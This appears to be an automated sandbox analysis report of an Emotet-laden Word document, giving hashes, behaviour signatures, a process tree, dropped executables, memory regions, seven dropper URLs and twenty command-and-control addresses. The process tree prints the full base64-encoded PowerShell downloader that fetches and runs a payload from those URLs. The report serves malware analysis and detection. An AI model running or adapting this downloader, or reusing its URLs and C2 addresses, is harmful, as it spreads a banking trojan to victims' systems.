Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    81s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    15-10-2020 07:43

Sharing

Copy URL
Twitter E-mail

General

  • Target

    emotet_e1_aa7280fb05501f752d412d103bd48c86094cc49ea8f3d9f6b3ab458a64997f63_2020-10-15__074121672394._doc.doc

  • Size

    142KB

  • MD5

    0b5d5c4468a31e83e1ec8a0d8b120496

  • SHA1

    68ac3e73c7bb88172984109977a8dc0f2c095522

  • SHA256

    aa7280fb05501f752d412d103bd48c86094cc49ea8f3d9f6b3ab458a64997f63

  • SHA512

    44b5682ac2f14a0de257bcab0eb42fc725536be8d9ecc432ca3a19ff3425c9b867a85b3d3b37cb1416f76b51d86ae2fcb563641f9fd6b18de0b34024dbc48fd1

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://ziaonlinetutor.com/wp-content/a/
exe.dropper

https://bharatlearningsolutions.com/content/MNd/
exe.dropper

https://trungtammtc.com/wp-admin/LP/
exe.dropper

http://bigprint.pictures/cgi-bin/o/
exe.dropper

https://avozdecamacari.com/home/000~ROOT~000/dev/shm/E/
exe.dropper

https://calculafacturaluz.com/sys-cache/9W/
exe.dropper

http://evisualsoft-001-site3.atempurl.com/wp-content/C7/

Extracted

Family

emotet

Botnet

Epoch1

C2

188.157.101.114:80

192.175.111.214:8080

95.85.33.23:8080

192.232.229.54:7080

181.30.61.163:443

186.70.127.199:8090

200.127.14.97:80

70.169.17.134:80

24.232.228.233:80

172.104.169.32:8080

50.28.51.143:8080

177.73.0.98:443

149.202.72.142:7080

37.187.161.206:8080

202.29.239.162:443

213.197.182.158:8080

202.134.4.210:7080

190.24.243.186:80

201.213.177.139:80

105.209.235.113:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_aa7280fb05501f752d412d103bd48c86094cc49ea8f3d9f6b3ab458a64997f63_2020-10-15__074121672394._doc.doc"
    Modifies registry class
    Suspicious behavior: AddClipboardFormatListener
    Suspicious use of SetWindowsHookEx
    PID:388
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABNAGEAMQB0AHIAZQBmAD0AKAAoACcAUgAnACsAJwBrADQAJwApACsAJwA2AHUAJwArACcAeABwACcAKQA7ACQATQB1AG4AbAB3ADIAcwA9ACQAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARABlADkAawBpAHcAMQA9ACgAJwBJAHYAJwArACgAJwA3AHgAZQAnACsAJwB5AG4AJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAG4AdgA6AFUAUwBlAHIAcAByAG8AZgBpAGwARQBcAG8AdwBnAFkAXwBQAE0AXABnAHQARwBtAF8AWQA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAGUAYwBUAE8AUgBZADsAJABTAHIANQB2AGIAXwAzAD0AKAAoACcATQBnACcAKwAnAF8AMQB4ACcAKQArACcAcwAnACsAJwA4ACcAKQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAEMAVQBgAFIAaQB0AGAAeQBwAHIATwBgAFQAbwBjAG8ATAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACgAJwBzADEAMgAsACAAJwArACcAdABsAHMAMQAnACsAJwAxACcAKQArACcALAAnACsAKAAnACAAdABsACcAKwAnAHMAJwApACkAOwAkAEMAcwBoADcAMgB1AHgAPQAoACgAJwBIAGkAZwAnACsAJwA3AGoAJwApACsAJwBzADcAJwApADsAJABZAHoAYwBlAGYAawBfACAAPQAgACgAJwBYACcAKwAnAF8AZQAnACsAKAAnAGMAJwArACcANAA1ACcAKQApADsAJABFAG4AcwA0AGMAdwBhAD0AKAAnAFcAJwArACgAJwB6AGoAdAB4AHEAJwArACcAcwAnACkAKQA7ACQARQA2ADkAawA0ADQAOAA9ACgAJwBaACcAKwAoACcAawBfADQAeQAnACsAJwBuADYAJwApACkAOwAkAEwAeABtAHMAOABvAGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0ATwAnACsAJwB3ACcAKwAnAGcAeQAnACsAJwBfAHAAbQB7ADAAfQBHAHQAJwArACcAZwBtACcAKwAnAF8AeQA1AHsAMAB9ACcAKQAtAGYAWwBDAGgAYQByAF0AOQAyACkAKwAkAFkAegBjAGUAZgBrAF8AKwAoACgAJwAuACcAKwAnAGUAeAAnACkAKwAnAGUAJwApADsAJABHADYAYgBzAGoAMgB2AD0AKAAnAEgAbwAnACsAKAAnAG0AaABfACcAKwAnAF8AJwApACsAJwBqACcAKQA7ACQASwBoAHYAdwAwAG0AZgA9AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiAGoAZQBjAHQAJwApACAATgBlAFQALgB3AEUAYgBDAEwASQBFAE4AVAA7ACQARwAyADIAeQBoAHQAagA9ACgAJwBoAHQAJwArACcAdAAnACsAKAAnAHAAJwArACcAcwA6AC8ALwAnACkAKwAoACcAegAnACsAJwBpAGEAbwBuAGwAaQBuAGUAJwArACcAdAB1ACcAKwAnAHQAJwApACsAKAAnAG8AcgAnACsAJwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAHcAcAAtAGMAJwArACcAbwBuAHQAZQBuACcAKwAnAHQALwAnACkAKwAnAGEAJwArACcALwAqACcAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAOgAnACsAJwAvACcAKwAoACcALwBiACcAKwAnAGgAYQByAGEAdAAnACsAJwBsAGUAYQAnACkAKwAnAHIAJwArACgAJwBuACcAKwAnAGkAbgAnACkAKwAoACcAZwBzAG8AJwArACcAbAB1AHQAaQAnACkAKwAoACcAbwAnACsAJwBuAHMAJwApACsAJwAuAGMAJwArACgAJwBvAG0ALwBjACcAKwAnAG8AJwApACsAJwBuAHQAJwArACcAZQBuACcAKwAoACcAdAAvACcAKwAnAE0AJwApACsAKAAnAE4AZAAnACsAJwAvACoAJwArACcAaAB0AHQAJwArACcAcABzADoALwAnACkAKwAoACcALwB0AHIAJwArACcAdQAnACkAKwAoACcAbgAnACsAJwBnAHQAJwApACsAJwBhACcAKwAoACcAbQAnACsAJwBtAHQAYwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuAC8ATABQAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAA6ACcAKwAnAC8ALwBiAGkAZwAnACsAJwBwAHIAaQBuAHQAJwApACsAJwAuAHAAJwArACgAJwBpAGMAJwArACcAdAAnACsAJwB1AHIAZQBzAC8AJwApACsAKAAnAGMAZwBpACcAKwAnAC0AYgBpAG4ALwAnACsAJwBvAC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAJwB0AHAAJwArACcAcwAnACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBhAHYAbwB6ACcAKwAnAGQAZQBjAGEAbQAnACsAJwBhACcAKQArACcAYwAnACsAKAAnAGEAcgBpACcAKwAnAC4AYwBvAG0AJwApACsAJwAvAGgAJwArACgAJwBvAG0AZQAnACsAJwAvADAAJwApACsAJwAwADAAJwArACgAJwB+AFIAJwArACcATwBPACcAKwAnAFQAfgAwADAAMAAnACsAJwAvACcAKQArACgAJwBkAGUAJwArACcAdgAnACkAKwAoACcALwBzACcAKwAnAGgAbQAvACcAKQArACgAJwBFAC8AKgBoAHQAJwArACcAdABwAHMAJwApACsAJwA6AC8AJwArACgAJwAvACcAKwAnAGMAYQBsACcAKQArACcAYwB1ACcAKwAoACcAbAAnACsAJwBhAGYAJwApACsAJwBhACcAKwAnAGMAdAAnACsAJwB1AHIAJwArACgAJwBhAGwAJwArACcAdQAnACkAKwAoACcAegAuACcAKwAnAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHMAeQAnACkAKwAoACcAcwAnACsAJwAtAGMAJwApACsAJwBhACcAKwAoACcAYwBoAGUALwAnACsAJwA5ACcAKwAnAFcALwAqACcAKQArACcAaAB0ACcAKwAoACcAdABwADoALwAnACsAJwAvACcAKwAnAGUAdgBpACcAKQArACgAJwBzAHUAYQAnACsAJwBsACcAKQArACgAJwBzAG8AJwArACcAZgAnACkAKwAoACcAdAAnACsAJwAtADAAMAAxAC0AcwBpAHQAZQAzACcAKwAnAC4AJwApACsAJwBhACcAKwAnAHQAZQAnACsAKAAnAG0AcAB1AHIAbAAnACsAJwAuACcAKwAnAGMAbwAnACkAKwAnAG0ALwAnACsAJwB3AHAAJwArACgAJwAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlACcAKwAoACcAbgB0AC8AJwArACcAQwAnACsAJwA3AC8AJwApACkALgAiAFMAcABgAEwASQBUACIAKAAkAE0AdQBuAGwAdwAyAHMAKQA7ACQASwA4ADkAaQA3AHUANgA9ACgAKAAnAE0AJwArACcAbAA1ADMAeAAnACkAKwAnAGkAJwArACcAZwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEgAeAB4AGoAbwA4ADkAIABpAG4AIAAkAEcAMgAyAHkAaAB0AGoAKQB7AHQAcgB5AHsAJABLAGgAdgB3ADAAbQBmAC4AIgBEAE8AdwBuAEwATwBBAGQAZgBgAGkAYABMAEUAIgAoACQASAB4AHgAagBvADgAOQAsACAAJABMAHgAbQBzADgAbwBqACkAOwAkAFYAcQBrADMAcABfADUAPQAoACcARwB5ACcAKwAoACcAYQBwACcAKwAnAHIAJwApACsAJwAxAGcAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEwAeABtAHMAOABvAGoAKQAuACIAbABgAGUAYABOAEcAdABoACIAIAAtAGcAZQAgADMAOQA4ADIAMAApACAAewAmACgAJwBJAG4AdgBvAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABMAHgAbQBzADgAbwBqACkAOwAkAEwAbgAzAHEAdwAwADEAPQAoACcAUgBiACcAKwAoACcAOQAnACsAJwA4ADUAJwApACsAJwB4AGIAJwApADsAYgByAGUAYQBrADsAJABXAG0AdQB6AHIAZQBwAD0AKAAnAE0AXwAnACsAJwBpAHQAJwArACgAJwBxACcAKwAnADcAMwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwAxAGgANwBwAGIAaQA9ACgAJwBPADQAJwArACcAMgAnACsAKAAnADAAJwArACcAOAB1AHAAJwApACkA
    Process spawned unexpected child process
    Blacklisted process makes network request
    Drops file in System32 directory
    Suspicious behavior: EnumeratesProcesses
    Suspicious use of AdjustPrivilegeToken
    Suspicious use of WriteProcessMemory
    PID:2000
    • C:\Users\Admin\Owgy_pm\Gtgm_y5\X_ec45.exe
      "C:\Users\Admin\Owgy_pm\Gtgm_y5\X_ec45.exe"
      Executes dropped EXE
      Drops file in System32 directory
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1004
      • C:\Windows\SysWOW64\RmClient\difxapi.exe
        "C:\Windows\SysWOW64\RmClient\difxapi.exe"
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        PID:636

Network

MITRE ATT&CK Matrix

Replay Monitor

00:00 00:00

Downloads

  • C:\Users\Admin\Owgy_pm\Gtgm_y5\X_ec45.exe
    MD5

    3b7449cd8c9047abebf15753df263af6

    SHA1

    7e48a9edf1700393af6368b8b8de7ec3f4828f87

    SHA256

    537d9115a8b97d2c1279ce76870acd5e08efedda770f86f2e78e24222b443de7

    SHA512

    300ac2ffe1afe575aca3adfa73532b939f9c7132c3e0833ae30a6dfa320a06381cd5836dca19014388500c996b0988a8d3ef44749bea00911117ab959215ec07

    Download Submit
  • C:\Users\Admin\owgY_PM\gtGm_Y5\X_ec45.exe
    MD5

    3b7449cd8c9047abebf15753df263af6

    SHA1

    7e48a9edf1700393af6368b8b8de7ec3f4828f87

    SHA256

    537d9115a8b97d2c1279ce76870acd5e08efedda770f86f2e78e24222b443de7

    SHA512

    300ac2ffe1afe575aca3adfa73532b939f9c7132c3e0833ae30a6dfa320a06381cd5836dca19014388500c996b0988a8d3ef44749bea00911117ab959215ec07

    Download Submit
  • C:\Windows\SysWOW64\RmClient\difxapi.exe
    MD5

    3b7449cd8c9047abebf15753df263af6

    SHA1

    7e48a9edf1700393af6368b8b8de7ec3f4828f87

    SHA256

    537d9115a8b97d2c1279ce76870acd5e08efedda770f86f2e78e24222b443de7

    SHA512

    300ac2ffe1afe575aca3adfa73532b939f9c7132c3e0833ae30a6dfa320a06381cd5836dca19014388500c996b0988a8d3ef44749bea00911117ab959215ec07

    Download Submit
  • memory/388-2-0x0000000008890000-0x0000000008894000-memory.dmp
    Filesize

    16KB

    Download
  • memory/636-21-0x0000000000350000-0x000000000036E000-memory.dmp
    Filesize

    120KB

    Download
  • memory/636-20-0x0000000000290000-0x00000000002AF000-memory.dmp
    Filesize

    124KB

    Download
  • memory/636-18-0x0000000000000000-mapping.dmp
    Download
  • memory/1004-13-0x0000000000000000-mapping.dmp
    Download
  • memory/1004-15-0x0000000000380000-0x000000000039F000-memory.dmp
    Filesize

    124KB

    Download
  • memory/1004-16-0x00000000003C0000-0x00000000003DE000-memory.dmp
    Filesize

    120KB

    Download
  • memory/1016-22-0x000007FEF6710000-0x000007FEF698A000-memory.dmp
    Filesize

    2MB

    Download
  • memory/2000-12-0x000000001AC80000-0x000000001AC81000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2000-11-0x0000000002A90000-0x0000000002A91000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2000-10-0x00000000026F0000-0x00000000026F1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2000-9-0x00000000023C0000-0x00000000023C1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2000-8-0x000000001ADD0000-0x000000001ADD1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2000-7-0x00000000022E0000-0x00000000022E1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2000-6-0x000007FEF1700000-0x000007FEF20EC000-memory.dmp
    Filesize

    9MB

    Download